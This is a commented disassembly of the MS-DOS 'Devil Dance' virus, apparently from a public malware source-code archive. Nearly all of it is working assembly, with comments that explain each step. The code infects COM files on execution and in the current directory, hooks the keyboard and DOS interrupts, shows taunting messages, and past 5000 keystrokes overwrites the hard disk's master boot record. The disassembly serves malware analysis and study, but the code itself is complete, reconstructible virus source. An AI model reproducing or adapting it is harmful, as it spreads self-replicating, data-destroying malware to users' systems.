MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.devil.asm
2021-01-12 17:38:47 -06:00

626 lines
21 KiB
NASM
Raw Blame History

; virus Devil Dance
;
; disassembled by Marek A. Filipiak October 31, 1990
;
0100 E9090B JMP 0C0C
; ...
; victim code
; ...
;========================================
; Virus entry point
;========================================
; find offset of virus code in memory
0C0C 8B360101 MOV SI,[0101] ; destination of first jump
0C10 81C60301 ADD SI,0103 ; PSP + length of jump instruction
; restore victim starting code
0C14 56 PUSH SI ; store virus offset in memory
0C15 B90300 MOV CX,0003 ; restore oryginal first 3 bytes
0C18 81C6A703 ADD SI,03A7 ; address of 3 bytes
0C1C BF0001 MOV DI,0100 ; destination
0C1F F3 REPZ
0C20 A4 MOVSB ; move
0C21 5E POP SI ; restore virus base address
0C22 E81300 CALL 0C38 ; check presence of resident part
0C25 7306 JAE 0C2D ; return to aplication
0C27 E86503 CALL 0F8F ; infect one file in current directory
0C2A E82A00 CALL 0C57 ; instal resident part
; return to aplication
0C2D B80001 MOV AX,0100 ; return address
0C30 50 PUSH AX
0C31 8CC8 MOV AX,CS
0C33 8ED8 MOV DS,AX
0C35 8EC0 MOV ES,AX
0C37 C3 RET ; jump to aplication
;---------------------------
; is resident part active?
0C38 06 PUSH ES
0C39 B82135 MOV AX,3521 ; get INT 21h vector
0C3C CD21 INT 21
0C3E 26 ES:
0C3F 807FFD44 CMP BYTE PTR [BX-03],44 ; 'D'
0C43 750F JNZ 0C54 ; no, exit with carry and NZ
0C45 26 ES:
0C46 807FFE72 CMP BYTE PTR [BX-02],72 ; 'r'
0C4A 7508 JNZ 0C54 ; no, exit with carry and NZ
0C4C 26 ES:
0C4D 807FFF6B CMP BYTE PTR [BX-01],6B ; 'k'
0C51 07 POP ES
0C52 F8 CLC ; exit with no carry and Z or NZ
0C53 C3 RET
0C54 07 POP ES
0C55 F9 STC
0C56 C3 RET
;----------------------
; instal resident part
0C57 B8004A MOV AX,4A00 ; change size of allocated memory
0C5A BB0010 MOV BX,1000 ; to 64 Kb (size in paragraphs)
0C5D 0E PUSH CS
0C5E 1F POP DS
0C5F CD21 INT 21
0C61 B80048 MOV AX,4800 ; allocate memory
0C64 BB4C00 MOV BX,004C ; requested size (1216 bytes)
0C67 CD21 INT 21
0C69 FC CLD
0C6A 8EC0 MOV ES,AX ; segment of allocated block
0C6C 56 PUSH SI ; store SI
0C6D 8BDE MOV BX,SI ; virus base
0C6F BF0301 MOV DI,0103 ; destination
0C72 B9AD03 MOV CX,03AD ; virus size (941)
0C75 F3 REPZ
0C76 A4 MOVSB ; move to new place
; first 103 bytes of allocated block serve for virus working area
0C77 26 ES:
0C78 C70600000301 MOV WORD PTR [0000],0103 ; virus base in moved code
0C7E 5E POP SI ; restore SI (virus base)
0C7F 1E PUSH DS ; store current DS
0C80 06 PUSH ES ; store virus ES
0C81 8CC0 MOV AX,ES
0C83 48 DEC AX ; segment of MCB
0C84 8EC0 MOV ES,AX
0C86 26 ES:
0C87 C70601000600 MOV WORD PTR [0001],0006 ; paragraph of block owner
0C8D 07 POP ES ; restore virus ES
0C8E 8CC0 MOV AX,ES ; set DS to new virus segment
0C90 8ED8 MOV DS,AX
0C92 B82135 MOV AX,3521 ; get INT 21h
0C95 CD21 INT 21
0C97 891E0200 MOV [0002],BX ; store INT 21h
0C9B 8C060400 MOV [0004],ES
0C9F BA9B03 MOV DX,039B ; offset of new handler (here 0EA4h)
0CA2 B82125 MOV AX,2521 ; set INT 21h
0CA5 CD21 INT 21
0CA7 B80935 MOV AX,3509 ; get INT 09h
0CAA CD21 INT 21
0CAC 891E0600 MOV [0006],BX ; store it
0CB0 8C060800 MOV [0008],ES
0CB4 C70620000000 MOV WORD PTR [0020],0000 ; reset Alt keystroke counter
0CBA C606150000 MOV BYTE PTR [0015],00 ; reset flag ??
0CBF B80925 MOV AX,2509 ; set INT 09h (keyboard)
0CC2 BAC001 MOV DX,01C0 ; offset of new handler (here 0CC9)
0CC5 CD21 INT 21
0CC7 1F POP DS ; restore carrier DS
0CC8 C3 RET
;-----------------------------
; INT 09h handler (keyboard)
0CC9 CC INT 3 : ?? destroyed by some debugger ??
0CCA FB STI
0CCB 50 PUSH AX ; store AX
0CCC 1E PUSH DS ; and DS
0CCD 33C0 XOR AX,AX ; set DS to 0
0CCF 8ED8 MOV DS,AX
0CD1 A01704 MOV AL,[0417] ; BIOS, shift status
0CD4 2408 AND AL,08 ; extract Alt key
0CD6 3C08 CMP AL,08 ; is active?
0CD8 7503 JNZ 0CDD ; not presed
0CDA E98300 JMP 0D60 ; check for Del key
0CDD 2E CS:
0CDE FF062000 INC WORD PTR [0020] ; keystroke counter
0CE2 2E CS:
0CE3 803E150001 CMP BYTE PTR [0015],01 ; ?? flag ??
0CE8 740B JZ 0CF5
0CEA 2E CS:
0CEB 833E20000A CMP WORD PTR [0020],+0A ; exactly 10 keys were presed?
0CF0 7403 JZ 0CF5 ; yes
; exit
0CF2 EB64 JMP 0D58 ; exit to true INT 9
0CF4 90 NOP
; exactly ten keys has been presed or flag [0015] has been set
; change attribute at curent cursor position
0CF5 52 PUSH DX
0CF6 56 PUSH SI
0CF7 53 PUSH BX
0CF8 06 PUSH ES
0CF9 51 PUSH CX
0CFA BE0301 MOV SI,0103 ; virus base
0CFD 81C62202 ADD SI,0222 ; encrypted part of code (here 0E2Eh)
0D01 2E CS:
0D02 C606150001 MOV BYTE PTR [0015],01 ; set flag
0D07 2E CS:
0D08 8B1E2B03 MOV BX,[032B] ; (here 0E34h)
0D0C 2E CS:
0D0D FF062B03 INC WORD PTR [032B] ; increase attribute counter
0D11 81FB2B03 CMP BX,032B
0D15 7302 JAE 0D19 ; skip counter reset
0D17 EB0A JMP 0D23
0D19 2E CS:
0D1A C7062B032503 MOV WORD PTR [032B],0325 ; reset counter
0D20 BB2503 MOV BX,0325 ; set BX to new value
0D23 CD11 INT 11 ; equipment list
0D25 2430 AND AL,30 ; video monitor
0D27 3D3000 CMP AX,0030 ; monochrome
0D2A 7505 JNZ 0D31 ; no
; mistake!
0D2C B800B8 MOV AX,B800 ; should be B000
0D2F EB03 JMP 0D34
0D31 B800B8 MOV AX,B800 ; segment of video RAM
0D34 8EC0 MOV ES,AX ; initialize ES (video RAM)
0D36 2E CS:
0D37 8A07 MOV AL,[BX] ; number between 09 .. 0E
0D39 50 PUSH AX
; find screen address of current cursor position
0D3A A15004 MOV AX,[0450] ; (DS = 0) get current cursor position
0D3D 86E0 XCHG AL,AH ; swap column, row
0D3F 8ADC MOV BL,AH ; row
0D41 32E4 XOR AH,AH ; AX := row
0D43 32FF XOR BH,BH ; BX := column
0D45 B9A000 MOV CX,00A0 ; 160, length of one line
0D48 F7E1 MUL CX
0D4A D1E3 SHL BX,1 ; mulitply by 2
0D4C 03D8 ADD BX,AX
0D4E 43 INC BX ; attribute field
0D4F 58 POP AX ; restore choosen attribute
0D50 26 ES:
0D51 8807 MOV [BX],AL ; put it on the screen
; exit
0D53 59 POP CX
0D54 07 POP ES
0D55 5B POP BX
0D56 5E POP SI
0D57 5A POP DX
0D58 1F POP DS
0D59 58 POP AX
0D5A FA CLI
0D5B 2E CS:
0D5C FF2E0600 JMP FAR [0006] ; true INT 9
; Alt key is presed
0D60 E460 IN AL,60 ; read keyboard scan code
0D62 3C53 CMP AL,53 ; Del?
0D64 7407 JZ 0D6D ; yes, procede
; exit to true INT 9
0D66 1F POP DS
0D67 58 POP AX
0D68 2E CS:
0D69 FF2E0600 JMP FAR [0006]
; Alt + Del service
0D6D CD11 INT 11 ; equipment list
; again mistake! Decimaly 48 is 30 in hex
0D6F 254800 AND AX,0048 ; ??
0D72 3D4800 CMP AX,0048 ; ??
0D75 7505 JNZ 0D7C
; in hex 0048 meant system with 2 disketts (bit 40) and bit 8 is reserved
; (on PC, XT and Jr it and bit 4 reflect size of RAM on system board in 16 K)
; so probably AX and 48 almost always will be equol 48.
0D77 B800B0 MOV AX,B000 ; monochrome
0D7A EB03 JMP 0D7F
0D7C B800B8 MOV AX,B800 ; other
0D7F 8EC0 MOV ES,AX ; initial ES to video segment
0D81 8CC8 MOV AX,CS ; restore DS
0D83 8ED8 MOV DS,AX
0D85 33FF XOR DI,DI ; clear screen location pointer
0D87 B407 MOV AH,07 ; attribute
0D89 B0B1 MOV AL,B1 ; chracter <20> (177)
0D8B B9D007 MOV CX,07D0 ; size of screen
0D8E F3 REPZ
0D8F AB STOSW ; fill screen with box character
; display first part of mesage: Have you ever danced ...
0D90 BF4A06 MOV DI,064A ; offset of column 10, row 10
0D93 BE3103 MOV SI,0331 ; offset of message
0D96 AC LODSB ; get next character
0D97 2C80 SUB AL,80 ; decrypt
0D99 0AC0 OR AL,AL ; end of string?
0D9B 740D JZ 0DAA ; yes
0D9D B40F MOV AH,0F ; attribute
0D9F AB STOSW ; put on screen
0DA0 B900A0 MOV CX,A000 ; constant for pause
0DA3 050100 ADD AX,0001 ; small pause
0DA6 E2FB LOOP 0DA3
0DA8 EBEC JMP 0D96 ; disply next character
; display next message: Pray for your disk!
0DAA BF7008 MOV DI,0870 ; row 13, column 40
0DAD BE7703 MOV SI,0377
0DB0 AC LODSB
0DB1 2C80 SUB AL,80
0DB3 0AC0 OR AL,AL
0DB5 740D JZ 0DC4
0DB7 B40F MOV AH,0F
0DB9 AB STOSW
0DBA B900A0 MOV CX,A000
0DBD 050100 ADD AX,0001
0DC0 E2FB LOOP 0DBD
0DC2 EBEC JMP 0DB0
; disply third part of message, The_Jocker...
0DC4 BFB009 MOV DI,09B0 ; row 15, column 40
0DC7 BE8B03 MOV SI,038B
0DCA AC LODSB
0DCB 2C80 SUB AL,80 ; decrypt
0DCD 0AC0 OR AL,AL ; end of string?
0DCF 740D JZ 0DDE ; yes
0DD1 B40F MOV AH,0F ; attribute
0DD3 AB STOSW
0DD4 B900A0 MOV CX,A000 ; time constant
0DD7 050100 ADD AX,0001 ; small pause
0DDA E2FB LOOP 0DD7
0DDC EBEC JMP 0DCA ; get next character
; diplay the rest: Ha Ha Ha ...
0DDE BA1E00 MOV DX,001E ; starting column (15)
0DE1 B90A00 MOV CX,000A ; counter
0DE4 51 PUSH CX
0DE5 BF400B MOV DI,0B40 ; row 18, column 1
0DE8 52 PUSH DX
0DE9 D1E2 SHL DX,1 ; DX := 3C
0DEB 03FA ADD DI,DX ; move coursor 30 characters right
0DED 5A POP DX
0DEE BE2D03 MOV SI,032D ; offset of 'Ha ',0
0DF1 AC LODSB ; get next character
0DF2 2C80 SUB AL,80 ; decrypt
0DF4 0AC0 OR AL,AL ; end of string
0DF6 740D JZ 0E05 ; yes
0DF8 B40F MOV AH,0F ; attribute
0DFA AB STOSW ; display
0DFB B900A0 MOV CX,A000 ; time constant
0DFE 050100 ADD AX,0001 ; small pause
0E01 E2FB LOOP 0DFE
0E03 EBEC JMP 0DF1 ; get next character
0E05 83C203 ADD DX,+03 ; move cursor 3 positions right
0E08 59 POP CX ; restore counter
0E09 E2D9 LOOP 0DE4
0E0B B020 MOV AL,20 ; enable hardware interrupts
0E0D E620 OUT 20,AL
0E0F 2E CS:
0E10 813E20008813 CMP WORD PTR [0020],1388 ; 5000 keystrokes
0E16 7305 JAE 0E1D ; perform destruction
0E18 EAF0FF00F0 JMP F000:FFF0 ; cold reset
0E1D B80000 MOV AX,0000 ; reset disk
0E20 CD13 INT 13
; overwrite Master Boot Sector of first hard drive
0E22 B80103 MOV AX,0301 ; write one sector
0E25 33C9 XOR CX,CX
0E27 41 INC CX ; track 0, sector 1
0E28 33D2 XOR DX,DX ; head 0
0E2A B280 MOV DL,80 ; first hard drive
0E2C CD13 INT 13
; after destruction computer will crush trying execute working area bytes
;--------------
; working area
0E2E 09 0A 0B 0C 0D 0E ; [0325],... set of attributes to put onto screen
0E34 26 03 ; counter, points at one out of six above bytes
; encrypted ASCIIZ strings (to any character 80h is added)
0E36 C8 E1 A0 80 ; encrypted 'Ha ',0
0E3A C8 E1 F6 E5 A0 F9 Have y
0E40 EF F5 A0 E5 F6 E5 F2 A0 E4 E1 EE E3 E5 E4 A0 F7 ou ever danced w
0E50 E9 F4 E8 A0 F4 E8 E5 A0 E4 E5 F6 E9 EC A0 F5 EE ith the devil un
0E60 E4 E5 F2 A0 F4 E8 E5 A0 F7 E5 E1 EB A0 EC E9 E7 der the weak lig
0E70 E8 F4 A0 EF E6 A0 F4 E8 E5 A0 ED EF EF EE BF 80 ht of the moon?.
0E80 D0 F2 E1 F9 A0 E6 EF F2 A0 F9 EF F5 F2 A0 E4 E9 Pray for your di
0E90 F3 EB A1 80 sk!.
0E94 D4 E8 E5 DF CA EF EB E5 F2 AE AE AE 80 The_Joker....
0EA1 44 72 6B ; signature of virus resident part: 'Drk'
;-----------------------------
; new INT 21h handler
0EA4 9C PUSHF
0EA5 3D004B CMP AX,4B00 ; Load and execute
0EA8 7420 JZ 0ECA
0EAA 80FC49 CMP AH,49 ; free allocated memory
0EAD 7403 JZ 0EB2
0EAF EB13 JMP 0EC4 ; exit to old INT 21h
0EB1 90 NOP
; free allocated memory service
0EB2 50 PUSH AX
0EB3 53 PUSH BX
0EB4 8CC8 MOV AX,CS ; compare requested block with
0EB6 8CC3 MOV BX,ES ; block actualy ocupied by virus
0EB8 3BD8 CMP BX,AX
0EBA 5B POP BX
0EBB 58 POP AX
0EBC 7506 JNZ 0EC4 ; blocks are different, exit
0EBE F8 CLC ; clear carry (no error!)
0EBF 8CC0 MOV AX,ES ; put own segment into AX
0EC1 CA0200 RETF 0002
; exit to old INT 21h
0EC4 9D POPF
0EC5 2E CS:
0EC6 FF2E0200 JMP FAR [0002]
; load and execute service
0ECA 55 PUSH BP
0ECB 50 PUSH AX
0ECC 53 PUSH BX
0ECD 51 PUSH CX
0ECE 52 PUSH DX
0ECF 1E PUSH DS
0ED0 06 PUSH ES
0ED1 56 PUSH SI
0ED2 57 PUSH DI
0ED3 FC CLD
0ED4 8BF2 MOV SI,DX ; ASCIIZ file name
0ED6 AC LODSB ; find end of file name
0ED7 0AC0 OR AL,AL ; end of string?
0ED9 7402 JZ 0EDD ; yes
0EDB EBF9 JMP 0ED6 ; get next character
0EDD 83EE04 SUB SI,+04 ; point at first char of extension
0EE0 803C43 CMP BYTE PTR [SI],43 ; 'C' is it COM file
0EE3 7502 JNZ 0EE7 ; maybe lower case?
0EE5 7405 JZ 0EEC ; infect
0EE7 803C63 CMP BYTE PTR [SI],63 ; 'c'
0EEA 752B JNZ 0F17 ; exit
; prepare infection
0EEC B42F MOV AH,2F ; get DTA
0EEE CD21 INT 21
0EF0 06 PUSH ES
0EF1 53 PUSH BX
0EF2 52 PUSH DX
0EF3 1E PUSH DS
0EF4 0E PUSH CS
0EF5 1F POP DS
0EF6 BA8000 MOV DX,0080 ; offset of local DTA
0EF9 B41A MOV AH,1A ; set DTA
0EFB CD21 INT 21
; get date of loaded file into local DTA
0EFD 1F POP DS
0EFE 5A POP DX ; offset of file name
0EFF B44E MOV AH,4E ; find first
0F01 B92300 MOV CX,0023 ; attributes: Subdir, Hiden, Read Only
0F04 CD21 INT 21
0F06 8CC8 MOV AX,CS
0F08 8ED8 MOV DS,AX
0F0A 8B360000 MOV SI,[0000]
0F0E E81500 CALL 0F26 ; infect file
0F11 5A POP DX
0F12 1F POP DS
0F13 B41A MOV AH,1A ; restore DTA
0F15 CD21 INT 21
0F17 5F POP DI
0F18 5E POP SI
0F19 07 POP ES
0F1A 1F POP DS
0F1B 5A POP DX
0F1C 59 POP CX
0F1D 5B POP BX
0F1E 58 POP AX
0F1F 5D POP BP
0F20 9D POPF
0F21 2E CS:
0F22 FF2E0200 JMP FAR [0002] ; exit to old INT 21h
;-------------
; infect file
0F26 33C9 XOR CX,CX ; clear all attributes
0F28 B80143 MOV AX,4301 ; set attributes
0F2B BA9E00 MOV DX,009E ; fille name (in carrier DTA!)
0F2E 33C9 XOR CX,CX ; ?? again ??
0F30 CD21 INT 21
0F32 B8023D MOV AX,3D02 ; open file for read/write
0F35 BA9E00 MOV DX,009E ; file name
0F38 CD21 INT 21
0F3A 8BD8 MOV BX,AX ; store handle
0F3C 7301 JAE 0F3F ; no error
0F3E C3 RET
0F3F B43F MOV AH,3F ; read file
0F41 B90300 MOV CX,0003 ; 3 bytes
0F44 8BD6 MOV DX,SI ; virus base
0F46 81C2A703 ADD DX,03A7 ; buffer for oryginal 3 bytes
0F4A CD21 INT 21
0F4C 7305 JAE 0F53 ; no error
0F4E B43E MOV AH,3E ; close file
0F50 CD21 INT 21
0F52 C3 RET
0F53 B80042 MOV AX,4200 ; move file pointer
0F56 33C9 XOR CX,CX ; at the beginning
0F58 8BD1 MOV DX,CX ; of file
0F5A CD21 INT 21
0F5C A19A00 MOV AX,[009A] ; get file length
0F5F 2D0300 SUB AX,0003 ; sub first 3 bytes
0F62 2E CS:
0F63 8984AB03 MOV [SI+03AB],AX ; size of block to write
0F67 8BD6 MOV DX,SI
0F69 81C2AA03 ADD DX,03AA
0F6D B440 MOV AH,40 ; write to file
0F6F B90300 MOV CX,0003 ; new first 3 bytes
0F72 CD21 INT 21
0F74 7302 JAE 0F78 ; continue
0F76 EBD6 JMP 0F4E ; error, exit
0F78 B80242 MOV AX,4202 ; move file pointer
0F7B 33C9 XOR CX,CX ; at the end
0F7D 8BD1 MOV DX,CX ; of file
0F7F CD21 INT 21
0F81 B440 MOV AH,40 ; write file
0F83 B9AD03 MOV CX,03AD ; number of bytes (941)
0F86 8BD6 MOV DX,SI ; address of virus first byte
0F88 CD21 INT 21
0F8A B43E MOV AH,3E ; close file
0F8C CD21 INT 21
0F8E C3 RET
;----------------------------------------------
; find file in current directory and infect it
0F8F B44E MOV AH,4E ; find first
0F91 B92300 MOV CX,0023 ; attributes: Archive, Hiden, Read Only
0F94 8BD6 MOV DX,SI
0F96 81C2A103 ADD DX,03A1 ; file name: *.COM
0F9A CD21 INT 21
0F9C 7303 JAE 0FA1 ; infect
0F9E EB0C JMP 0FAC ; RET
0FA0 90 NOP
0FA1 E882FF CALL 0F26 ; infect
0FA4 B44F MOV AH,4F ; find next
0FA6 CD21 INT 21
0FA8 7202 JB 0FAC ; RET
0FAA EBF5 JMP 0FA1 ; infect
0FAC C3 RET
0FAD 2A 2E 63 6F 6D 00 ; *.COM, 0
0FB3 E9 5C 07 ; oryginal 3 bytes of carrier COM file
; end of infected file
;----------------------